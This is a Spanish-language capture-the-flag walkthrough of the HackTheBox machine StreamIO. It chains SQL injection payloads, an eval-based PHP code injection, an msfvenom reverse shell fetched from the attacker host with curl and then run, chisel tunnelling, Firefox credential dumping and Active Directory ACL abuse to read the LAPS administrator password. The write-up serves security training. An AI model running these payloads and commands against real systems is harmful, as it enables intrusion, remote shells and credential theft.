xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

StreamIO



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.11.158
Nmap scan report for 10.10.11.158
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49677/tcp open  unknown
49678/tcp open  unknown
49708/tcp open  unknown
54782/tcp open  unknown

Con crackmapexec podemos obtener información de la maquina asi como el dominio que es streamio.htb ademas del nombre que es el propio DC

❯ crackmapexec smb 10.10.11.158
SMB         10.10.11.158  445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es el DC como otro dominio

❯ echo "10.10.11.158 streamio.htb dc.streamio.htb" | sudo tee -a /etc/hosts  

Esta abierto el puerto 80 con un servicio http sin embargo si lo abrimos la web en el navegador nos muestra simplemente la página que viene por defecto en IIS

Sin embargo también esta abierto el puerto 443 asi que también corre una web por https, la abrimos con https y vemos una pagina de streaming peliculas onnline

Ya que tenemos un dominio podemos usar wfuzz para aplicando fuerza bruta buscar un subdominio valido, en este caso watch devuelve un contenido diferente

❯ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.streamio.htb" -u https://streamio.htb -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://streamio.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002268:   200        78 L     245 W      2829 Ch     "watch"

Para que el ordenador sepa a donde resolver al apuntar a watch.streamio.htb agregamos el dominio al archivo /etc/hosts con la ip de la máquina victima

❯ echo "10.10.11.158 watch.streamio.htb" | sudo tee -a /etc/hosts  

Al abrir la web por https bajo el dominio watch.streamio.htb podemos ver una pagina donde podemos introducir el correo para añadir una suscripción

Fuzzeando por archivos con extensiones php encontramos ademas de un blocked un search ademas del clasico index que es el que contiene la página principal

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u https://watch.streamio.htb/FUZZ.php -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://watch.streamio.htb/FUZZ.php
Total requests: 26584

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000012:   200        7193 L   19558 W    253887 Ch   "search" 
000000238:   200        78 L     245 W      2829 Ch     "index"  
000006588:   200        19 L     47 W       677 Ch      "blocked"

Este es un buscador de peliculas donde podemos introducir y buscar una pelicula

Despues de probar varias cosas en la web encontramos una inyección sql donde podemos ver reflejadas las columnas 2 y 3 en este caso usaremos la 2

test' union select 1,2,3,4,5,6;-- -  

Seleccionamos el campo name de sysdatabases, al hacer esto nos devolvera todas las bases de datos existentes en el servidor, nos quedaremos con streamio

test' union select 1,name,3,4,5,6 from sysdatabases;-- -  

Ya que tenemos el nombre de la base de datos podemos enumerar sus tablas, en este caso solo encontramos 2 movies y la que parece mas prometedora users

test' union select 1,name,3,4,5,6 from streamio.sys.tables;-- -  

Sabemos que existe una tabla users, podemos enumerar las columnas de ella donde lo que parece ser interesante es simplemente username y password

test' union select 1,name,3,4,5,6 from streamio.sys.columns where object_id = object_id('users');-- -  

Finalmente podemos dumpear ambas columnas utilizando la funcion concat para sus valores reflejados juntos en la misma columna que en este caso es la 2

test' union select 1,concat(username,password),3,4,5,6 from streamio.dbo.users;-- -  


Shell - yoshihide


Al intentar crackear los hashes en formato md5 que conseguimos mediante la sqli obtenemos las contraseñas de varios usuarios en texto plano

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes --format=Raw-MD5  
Using default input encoding: UTF-8
Loaded 30 password hashes with no different salts (Raw-MD5 [MD5 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
highschoolmusical (Thane)
1physics69i       (Lenord)
paddpadd          (admin)
66boysandgirls..  (yoshihide)
%$clara           (Clara)
$monique$1991$    (Bruno)
$hadoW            (Barry)
$3xybitch         (Juliette)
##123a8j8w5123##  (Lauren)
!?Love?!123       (Michelle)
!5psycho8!        (Victoria)
!!sabrina$        (Sabrina)
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Guardamos los usuarios y contraseñas conseguidas en txt, con crackmapexec nos encontramos que ninguna contraseña es valida a nivel de SMB

❯ crackmapexec smb streamio.htb -u users.txt -p passwords.txt --no-bruteforce
SMB         streamIO.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)  
SMB         streamIO.htb    445    DC               [-] streamIO.htb\admin:paddpadd STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Barry:$hadoW STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Bruno:$monique$1991$ STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Clara:%$clara STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Juliette:$3xybitch STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Lauren:##123a8j8w5123## STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Lenord:physics69i STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Michelle:!?Love?!123 STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Sabrina:!!sabrina$ STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Thane:highschoolmusical STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Victoria:!5psycho8! STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\yoshihide:66boysandgirls.. STATUS_LOGON_FAILURE

Tenemos un panel de login en streamio.htb, guardamos las credenciales en formato username:password en un txt que usaremos para probar autenticaciones al login

❯ hydra -C credentials.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:F=failed
[443][http-post-form] host: streamio.htb   login: yoshihide   password: 66boysandgirls..
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished

Las credenciales del usuario yoshihide son validas para la web, asi que simplemente las usamos para autenticarnos en el login

Usando wfuzz para descubrir algunos directorios podemos encontrar varios, entre ellos uno que llama la atención rapidamente es el directorio /admin

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u https://streamio.htb/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://streamio.htb/FUZZ
Total requests: 26584

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000003:   301        1 L      10 W       150 Ch      "admin"
000000002:   301        1 L      10 W       151 Ch      "images"
000000015:   301        1 L      10 W       148 Ch      "css"
000000009:   301        1 L      10 W       147 Ch      "js"
000000267:   301        1 L      10 W       150 Ch      "fonts"

En el encontramos varias pestañas, cada una de ellas nos lleva a un parametro por el metodo GET como lo es user que esta esperando un valor

Podemos fuzzear para buscar otros posibles parametros existentes, para ello tendremos que arrastrar la cookie que se nos setea al loguearnos como yoshihide

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "https://streamio.htb/admin/?FUZZ=" -b "PHPSESSID=0sejb2rtbukpsp3e8lfj2biq49" -t 100 --hh 1678  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://streamio.htb/admin/?FUZZ=
Total requests: 26584

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000022:   200        62 L     160 W      2073 Ch     "user"
000000352:   200        398 L    916 W      12484 Ch    "staff"
000000416:   200        49 L     137 W      1712 Ch     "debug"
000001059:   200        10790L   25878 W    320235 Ch   "movie"

Al parecer existe un parametro debug, de las cosas a probar encontramos un simple LFI desde el wrapper de codificacion en base64 donde cargamos el index.php

Para mas comodidad podemos hacer la peticion con curl arrastrando la cookie y con expresiones regulares tomar el base64 y decodearlo, en las primeras lineas nos encontramos un script de php donde podemos ver credenciales para la db

❯ curl -sk "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php" -b "PHPSESSID=0sejb2rtbukpsp3e8lfj2biq49" | grep -oP '(?<=only)[^\t]*' | base64 -d | head -n12  
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
        header('HTTP/1.1 403 Forbidden');
        die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');  
$handle = sqlsrv_connect('(local)',$connection);

?>

Sin embargo no tenemos acceso, podemos fuzzear con wfuzz otros archivos php que existan para ver su contenido, nos encontramos con un master.php

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "https://streamio.htb/admin/FUZZ.php" -b "PHPSESSID=0sejb2rtbukpsp3e8lfj2biq49" -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://streamio.htb/admin/FUZZ.php
Total requests: 26584

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000238:   200        49 L     131 W      1678 Ch     "index"
000000941:   200        1 L      6 W        58 Ch       "master"

Al cargar su contenido, en las ultimas lineas nos encontramos con un php que espera un parametro include por POST al cual hace un eval a su file_get_contents

❯ curl -sk "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php" -b "PHPSESSID=0sejb2rtbukpsp3e8lfj2biq49" | grep -oP '(?<=only)[^\t]*' | base64 -d | tail -n9  
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));  
else
echo(" ---- ERROR ---- ");
}
?>

Aprovechando el eval podemos cargar un php malicioso, en este caso que haga un system a el valor de el parametro cmd que enviaremos, lo codificamos en base64

❯ echo -n "system(\$_REQUEST['cmd']);" | base64  
c3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOw==

Ahora hacemos una peticion apuntando al master.php donde como data por POST en el parametro include enviamos nuestra data en base64, y en el parametro cmd enviamos un simple whoami, como resultado lo ejecuta como yoshihide

❯ curl -sk "https://streamio.htb/admin/?debug=master.php" -b "PHPSESSID=0sejb2rtbukpsp3e8lfj2biq49" --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOw==" -d "cmd=whoami" | grep streamio  
streamio\yoshihide

Sabemos que ejecuta comandos, asi que podemos crear un archivo exe malicioso que nos envie una reverse shell, lo compartimos con un servidor http de python

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1891 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Simplemente nos queda descargarlo y guardarlo en C:\ProgramData como shell.exe y ejecutarlo, al hacerlo recibimos una powershell como yoshihide

❯ curl -sk "https://streamio.htb/admin/?debug=master.php" -b "PHPSESSID=0sejb2rtbukpsp3e8lfj2biq49" --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOw==" -d "cmd=curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe" &>/dev/null  

❯ curl -sk "https://streamio.htb/admin/?debug=master.php" -b "PHPSESSID=0sejb2rtbukpsp3e8lfj2biq49" --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOw==" -d "cmd=cmd /c C:\ProgramData\shell.exe" &>/dev/null

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.158
Windows PowerShell running as user DC$ on DC
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide
PS C:\inetpub\streamio.htb\admin>


Shell - nikk37


En el index.php habiamos encontrado credenciales para la db asi que con chisel creamos un tunel y nos enviamos el puerto 1433 de la maquina a nuestro host local

PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:1433:127.0.0.1:1433  
PS C:\ProgramData>

❯ chisel server --reverse --port 9999  
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:1433=>1433: Listening  

Ahora nos autenticamos con mssqlclient hacia el localhost con las credenciales db_admin en la base de datos streamio_backup que estaba usando la web

❯ impacket-mssqlclient streamio.htb/db_admin:B1@hx31234567890@localhost -db streamio_backup  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: streamio_backup
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'streamio_backup'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>

Listando las tablas de la base de datos nos encontramos con la tabla users

SQL> select name from streamio_backup.sys.tables;  

name
------
movies
users

SQL>

En esta tabla encontramos 3 columnas las cuales son id, username y password

SQL> select name from streamio_backup.sys.columns where object_id = object_id('users');  

name
--------
id
username
password

SQL>

Solo nos interesan las columnas username y password, al ver su contenido nos encontramos nuevamente con una lista de usuarios con sus respectivos hashes

SQL> select username,password from streamio_backup.dbo.users;  

username    password                        
---------   --------------------------------
nikk37      389d14cb8e4e9b94b137deb1caf0612a                  
yoshihide   b779ba15cedfd22a023c4d8bcf5f2332                  
James       c660060492d9edcaa8332d89c99c9239                  
Theodore    925e5408ecb67aea449373d668b7359e                  
Samantha    083ffae904143c4796e464dac33c1f7d                  
Lauren      08344b85b329d7efd611b7a7743e8a09                  
William     d62be0dc82071bccc1322d64ec5b6c51                  
Sabrina     f87d3c0d6c8fd686aacc6627f1f493a5                  

SQL>

Al aplicar fuerza bruta con john obtenemos un total de 4 contraseñas en texto plano

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes --format=Raw-MD5  
Using default input encoding: UTF-8
Loaded 8 password hashes with no different salts (Raw-MD5 [MD5 128/128 XOP 4x2])
Remaining 5 password hashes with no different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
get_dem_girls2@yahoo.com (nikk37)
66boysandgirls..         (yoshihide)
##123a8j8w5123##         (Lauren)
!!sabrina$               (Sabrina)
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Las comprobamos con crackmapexec mediante el servicio SMB, las credenciales de nikk37 son validas, y al probarlas por el servicio winrm nos devuelve un Pwn3d!

❯ crackmapexec smb streamio.htb -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
SMB         streamIO.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)  
SMB         streamIO.htb    445    DC               [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
SMB         streamIO.htb    445    DC               [-] streamIO.htb\yoshihide:66boysandgirls.. STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Lauren:##123a8j8w5123## STATUS_LOGON_FAILURE
SMB         streamIO.htb    445    DC               [-] streamIO.htb\Sabrina:!!sabrina$ STATUS_LOGON_FAILURE

❯ crackmapexec winrm streamio.htb -u nikk37 -p get_dem_girls2@yahoo.com
SMB         streamIO.htb    5985   DC               [*] Windows 10.0 Build 17763 (name:DC) (domain:streamIO.htb)  
HTTP        streamIO.htb    5985   DC               [*] http://streamIO.htb:5985/wsman
WINRM       streamIO.htb    5985   DC               [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com (Pwn3d!)

Simplemente nos conectamos utilizando evil-winrm y obtenemos la primera flag

❯ evil-winrm -i streamio.htb -u nikk37 -p get_dem_girls2@yahoo.com  
PS C:\Users\nikk37\Documents> whoami
streamio\nikk37
PS C:\Users\nikk37\Documents> type ..\Desktop\user.txt
a87**************************033
PS C:\Users\nikk37\Documents>


Shell - Administrator


Para enumerar el windows podemos usar Winpeas, el cual iniciamos subiendo simplemente utilizando la funcion upload la cual esta incluida en evil-winrm

PS C:\Users\nikk37\Documents> upload winpeas.exe

Info: Uploading winpeas.exe to C:\Users\nikk37\Documents\winpeas.exe  

Data: 2581844 bytes of 2581844 bytes copied

Info: Upload successful!

PS C:\Users\nikk37\Documents>

Despues de ejecutarlo encontramos una db existente con credenciales de Firefox

╔══════════╣ Looking for Firefox DBs
  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history
    Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db  

Necesitamos solo 2 archivos para poder dumpear todas las credenciales de Firefox en texto plano, y estos son el archivo key4.db y el archivo logins.json

PS C:\Users\nikk37\Documents> download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

Info: Downloading C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db to key4.db

Info: Download successful!

PS C:\Users\nikk37\Documents> download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json  

Info: Downloading C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json to logins.json

Info: Download successful!

PS C:\Users\nikk37\Documents>

Usando firepwd con los 2 archivos descargados nos muestra 4 autenticaciones

❯ python3 firepwd.py       
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
       }
     }
   }
   OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'  
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
       }
     }
   }
   OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
 }
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

Al final obtenemos un total de 4 usuarios y 4 contraseñas que solo tal vez se reutilicen

admin:JDg0dd1s@d0p3cr3@t0r
nikk37:n1kk1sd0p3t00:)
yoshihide:paddpadd@12
JDgodd:password@12

Con crackmapexec probamos todas las combinaciones posibles, con ello obtenemos una nueva credencial, que es de JDgodd, sin embargo esta no es valida para winrm

❯ crackmapexec smb streamio.htb -u users.txt -p passwords.txt --continue-on-success
SMB         streamIO.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)  
SMB         streamIO.htb    445    DC               [-] streamIO.htb\admin:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\admin:n1kk1sd0p3t00 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\admin:paddpadd@12 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\admin:password@12 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\nikk37:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\nikk37:n1kk1sd0p3t00 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\nikk37:paddpadd@12 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\nikk37:password@12 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\yoshihide:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\yoshihide:n1kk1sd0p3t00 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\yoshihide:paddpadd@12 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\yoshihide:password@12 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\JDgodd:n1kk1sd0p3t00 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\JDgodd:paddpadd@12 STATUS_LOGON_FAILURE 
SMB         streamIO.htb    445    DC               [-] streamIO.htb\JDgodd:password@12 STATUS_LOGON_FAILURE

❯ crackmapexec winrm streamio.htb -u JDgodd -p JDg0dd1s@d0p3cr3@t0r
SMB         streamIO.htb    5985   DC               [*] Windows 10.0 Build 17763 (name:DC) (domain:streamIO.htb)  
HTTP        streamIO.htb    5985   DC               [*] http://streamIO.htb:5985/wsman
WINRM       streamIO.htb    5985   DC               [-] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r

Para enumerar el dominio podemos usar bloodhound, iniciamos obteniendo un archivo zip con toda la informacion, autenticandonos como el usuario JDgodd

❯ bloodhound-python -u JDgodd -p JDg0dd1s@d0p3cr3@t0r -c All -d streamio.htb -dc dc.streamio.htb -ns 10.10.11.158 --zip  
INFO: Found AD domain: streamio.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: streamio.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: streamio.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 8 users
INFO: Found 54 groups
INFO: Found 4 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 00M 30S
INFO: Compressing output into 20230504074848_bloodhound.zip

Despues de subir el zip a bloodhound y ver las posibles rutas para convertirnos en administradores del dominio vemos que JDgodd tiene privilegio WriteOwner sobre el grupo Core Staff y este tiene privilegio ReadLAPSPassword sobre la maquina DC

Iniciaremos subiendo el script PowerView.ps1 e importandolo ya que nos ayudara con algunas funciones que usaremos para explotar los privilegios que vimos antes

PS C:\Users\nikk37\Documents> upload PowerView.ps1

Info: Uploading PowerView.ps1 to C:\Users\nikk37\Documents\PowerView.ps1  

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

PS C:\Users\nikk37\Documents> Import-Module .\PowerView.ps1
PS C:\Users\nikk37\Documents>

Ya que los privilegios parten desde el usuario JDgodd definimos su credencial

PS C:\Users\nikk37\Documents> $SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
PS C:\Users\nikk37\Documents> $Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)  
PS C:\Users\nikk37\Documents>

Tenemos el privilegio WriteOwner sobre el grupo Core Staff sin embargo no somos parte de el, asi que agregamos al usuario JDgodd al grupo Core Staff

PS C:\Users\nikk37\Documents> Add-DomainObjectAcl -TargetIdentity 'Core Staff' -PrincipalIdentity 'streamio\JDgodd' -Credential $Cred  
PS C:\Users\nikk37\Documents> Add-DomainGroupMember -Identity 'Core Staff' -Members 'streamio\JDgodd' -Credential $Cred
PS C:\Users\nikk37\Documents>

Comprobamos los grupos del usuario JDgodd y ahora podemos ver Core Staff

PS C:\Users\nikk37\Documents> Get-ADPrincipalGroupMembership JDgodd | Select Name  

Name
----
Domain Users
CORE STAFF

PS C:\Users\nikk37\Documents>

Para obtener la contraseña de laps podemos hacerlo desde powershell usando Get-ADComputer solicitando el valor de la propiedad ms-mcs-admpwd

PS C:\Users\nikk37\Documents> Get-ADComputer DC -Property 'ms-mcs-admpwd' -Credential $Cred  

DistinguishedName : CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
DNSHostName       : DC.streamIO.htb
Enabled           : True
ms-mcs-admpwd     : 0r7eg}r04VVu5u
Name              : DC
ObjectClass       : computer
ObjectGUID        : 8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee
SamAccountName    : DC$
SID               : S-1-5-21-1470860369-1569627196-4264678630-1000
UserPrincipalName :

PS C:\Users\nikk37\Documents>

Otra forma de obtenerla es con lapsdumper que devuelve el mismo resultado

❯ lapsdumper -u JDGodd -p JDg0dd1s@d0p3cr3@t0r -d streamio.htb  
DC 0r7eg}r04VVu5u

Comprobamos con crackmapexec que la contraseña es valida para Administrator

❯ crackmapexec smb streamio.htb -u Administrator -p '0r7eg}r04VVu5u'
SMB         streamIO.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)  
SMB         streamIO.htb    445    DC               [+] streamIO.htb\Administrator:0r7eg}r04VVu5u (Pwn3d!)

Ahora nos conectamos desde evil-winrm como el usuario Administrator y desde C:\Users buscamos la flag de root que esta en el escritorio del usuario Martin

❯ evil-winrm -i streamio.htb -u Administrator -p '0r7eg}r04VVu5u'  
PS C:\Users\Administrator\Documents> whoami
streamio\administrator
PS C:\Users\Administrator\Documents> dir C:\Users -recurse root.txt

    Directory: C:\Users\Martin\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/22/2023   4:20 AM             34 root.txt

PS C:\Users\Administrator\Documents> dir C:\Users -recurse root.txt | type  
d41**************************fcc
PS C:\Users\Administrator\Documents>


Extra - Administrator


Volviendo a la shell de yoshihide podemos ver que en la ruta por defecto del IIS el usuario tiene privilegios Full o F sobre el directorio por lo que podemos escribir

PS C:\inetpub\wwwroot> whoami
streamio\yoshihide
PS C:\inetpub\wwwroot> icacls .
. NT AUTHORITY\LOCAL SERVICE:(F)
  streamIO\yoshihide:(OI)(CI)(F)
  NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(IO)(F)
  NT AUTHORITY\NETWORK SERVICE:(F)
  NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(IO)(F)
  BUILTIN\IIS_IUSRS:(RX)
  BUILTIN\IIS_IUSRS:(OI)(CI)(IO)(GR,GE)
  streamIO\yoshihide:(I)(OI)(CI)(F)
  NT SERVICE\TrustedInstaller:(I)(F)
  NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
  BUILTIN\Administrators:(I)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
  BUILTIN\Users:(I)(RX)
  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files  
PS C:\inetpub\wwwroot>

